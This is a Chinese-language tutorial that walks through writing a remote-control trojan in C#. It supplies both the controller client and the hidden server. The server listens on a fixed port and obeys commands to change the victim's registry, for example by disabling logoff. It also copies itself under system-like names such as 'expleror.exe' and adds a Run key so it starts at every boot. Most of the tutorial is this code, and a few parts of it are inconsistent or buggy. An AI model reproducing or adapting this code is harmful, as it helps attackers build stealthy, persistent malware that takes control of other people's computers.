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  • 用C#实现木马程序

     木马的介绍

      因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

      使用的技术:

      控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

      控制端开发:

      控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

      控制端的开发:

      控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

      1、连接请求

    使用了.NET类中的 System.Net.Sockets.TcpClient类,
    TcpClient(string hostname,int port)
    Hostname 是要控制的主机名称,当然你也可以用IP地址。
    Port是端口。
    // System.EventArgs包含事件数据类的基类
    private void button7_Click(object sender, System.EventArgs e)

    //记录操作,在richTextBox控件中增加操作信息
    richTextBox1.AppendText("请求连接" +textBox1.Text +" ");
    int port =6678;
    try 
    {
    //初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
    client = new TcpClient(textBox1.Text,port);
    }

    catch 
    {
    MessageBox.Show(
    "服务器不在线!确定是否输入主机名称.");
    richTextBox1.AppendText(
    "服务器不在线!确定是否输入主机名称.");
    }

    }
    //private void buttion

      2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流
     

    //private NetworkStream stream;
    代码如下:
    private void button8_Click(object sender, System.EventArgs e)
    {
    //纪录操作
    richTextBox1.AppendText("测试连接" +" ");
    try
    {

    stream 
    = client.GetStream();
    if(stream.CanWrite)
    {
    //发送控制码
    string control = "jiance";
    byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
    stream.Write(by,
    0,by.Length);
    //下次使用
    stream.Flush();
    //启动接收反回数据的线程
    //receive是线程执行的函数,见后面的分析
    threadReceive = new Thread(new ThreadStart(receive));
    threadReceive.Start();
    }

    }

    catch(Exception ee)
    {
    richTextBox1.AppendText (ee.Message
    +" ");
    MessageBox.Show(ee.Message);
    }

    }

      3、控制生效的代码

    private void button9_Click(object sender, System.EventArgs e)
    {
    //这里是确定要发送的控制码,RadioButton是窗体控件
    if(radioButton1.Checked){ control = form2.zhucex;}
    else if(radioButton2.Checked){ control =form3.zhuces;}
    else if(radioButton3.Checked){ control = warring;}
    else if(radioButton4.Checked){ control =suggest;}
    else if(radioButton5.Checked){ control =form4.mumawe;}
    else if(radioButton6.Checked){ control =drop;}
    if (control =="000000")
    {
    MessageBox.Show(
    "你没有输入任何控制目标!不发控制信号");
    richTextBox1.AppendText(
    "你没有输入任何控制目标!不发控制信号");
    }

    else if(control != "000000")
    {
    try
    {
    //记录操作
    richTextBox1.AppendText (control + "正在试图控制,等待回应" + " ");
    stream 
    = client.GetStream();
    if(stream.CanWrite )
    {
    byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
    stream.Write(by,
    0,by.Length);
    stream.Flush();
    threadReceive 
    =new Thread(new ThreadStart(receive));
    threadReceive.Start();
    }
    //endif
    }
    //try
    catch
    {
    richTextBox1.AppendText(
    "服务器未连接1控制无效!" +" ");
    MessageBox.Show(
    "服务器未连接1控制无效!" +" ");
    }

    }
    //else if
    }

      4、线程执行的函数

    private void receive()
    {
    //设置读取数据的空间
    byte[] bb = new byte[3];
    //读取3个字节,i为实际读取的字节数
    int i = stream.Read(bb,0,3);
    //转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
    string ss = System.Text.Encoding.ASCII.GetString(bb);
    //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
    if(ss=="hjc")
    {
    MessageBox.Show(
    "连接成功");
    richTextBox1.AppendText(
    "连接成功");
    }

    if(ss== "hkz")
    {
    richTextBox1.AppendText(control 
    +"控制成功"+" ");
    MessageBox.Show(control 
    +"控制成功"+" ");
    }

    }

    服务端的开发:

     

      要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

      1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

    private void InitializeComponent()
    {
    // 
    // Form1
    // 
    //窗体显示的起点和大小
    this.AutoScaleBaseSize = new System.Drawing.Size(614);
    this.ClientSize = new System.Drawing.Size(368357);
    //窗体名称
    this.Name = "Form1";
    //设置属性让它后台运行
    this.ShowInTaskbar = false;
    this.Text = "Form1";
    this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
    }

      2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

    public Form1() //窗体的构造函数
    {
    //
    // Windows 窗体设计器支持所必需的
    //
    InitializeComponent(); 
    //
    // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
    //加入你的侦听代码
    //端口你可以自已设定,我使用了固定的端口
    int port =6678;
    //System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
    listener = new TcpListener(port);
    //启动侦听
    listener.Start();
    //增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
    //reControlCode 是线程启动执行的函数,此函数根据接收的控制
    //控制码选取合适的注册表修改函数
    Thread thread = new Thread(new ThreadStart(reControlCode));
    thread.Start();
    }

    reControlCode函数如下,完整代码见程序
    private void reControlCode()
    {
    //设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
    socket = listener.AcceptSocket();
    //如果连接成功执行
    while (socket.Connected)
    {
    //接收控制码
    byte [] by =new byte[6];
    int i = socket.Receive(by,by.Length ,0);
    string ss = System.Text.Encoding.ASCII.GetString(by);
    //根据控制码执行不同的功能 

    //修改注册表加入编码
    switch (ss)
    {
    case "jiance"://测试连接,返回测试信息
    string str ="hjc";
    byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
    socket.Send(bytee,
    0,bytee.Length,0);
    break;
    case "zx1000":
    //修改注册表函数,自已定义,见下面分析 
    UnLogOff();
    //返回控制消息
    retMessage();
    break;

    case "zx0100":
    //修改注册表函数
    UnClose();
    //返回控制消息
    retMessage();
    break;
    //重复的case功能与前面一样,略掉
    default
    break;
    }
    //case
    }
    //while
    }
     //private void reControlCode 

      3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
    下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

    private void UnLogOff()
    {
    //得到主机的注册表的顶级节点
    Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
    //设置一个注册表子键的变量
    RegistryKey key1;
    try
    {
    //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
    //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
    key1 =
    rLocal.OpenSubKey(
    "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",true);
    //设置子键的键名,和值
    key1.SetValue ("NoLogOff",1);
    //关闭打开的子键
    key1.Close();
    //警告字符串设定
    mystr = mystr +"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值Nologoff被修改!请将它置为0!";
    }

    catch{}
    //如果不存在自已建立
    if(key1 ==null)
    {
    try
    {
    //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
    RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer");
    key2.SetValue(
    "NoLogOff",1);
    key2.Close();
    mystr 
    = mystr +"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer键值Nologoff被修改!请将它置为0!";
    }

    catch{}
    }

    }

      4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\winnnt\system\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

    private void moveCC1()
    {
    try
    {
    //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
    //sourceFileName为要移动的文件名,destFileName为文件的新路径
    File.Move("C:\winnnt\system\msdoss.exe","d:\winnt\system32\expleror.exe");
    }

    catch {}
    //将新移的木马程序设为自启动.分析和前面一样
    try
    {
    key1 
    = rLocal.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run",true);
    key1.SetValue (
    "microsoftt","d:\winnt\system32\expleror.exe");
    key1.Close();
    }

    catch{}
    if(key1 ==null)
    {
    try
    {
    RegistryKey key2
    =rLocal.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
    key1.SetValue (
    "microsoftt","d:\winnt\system32\expleror.exe");
    key1.Close();
    }

    catch{}
    }

    }
     //moveCC1()

      到这里一个简单的C#的木马就完成了。

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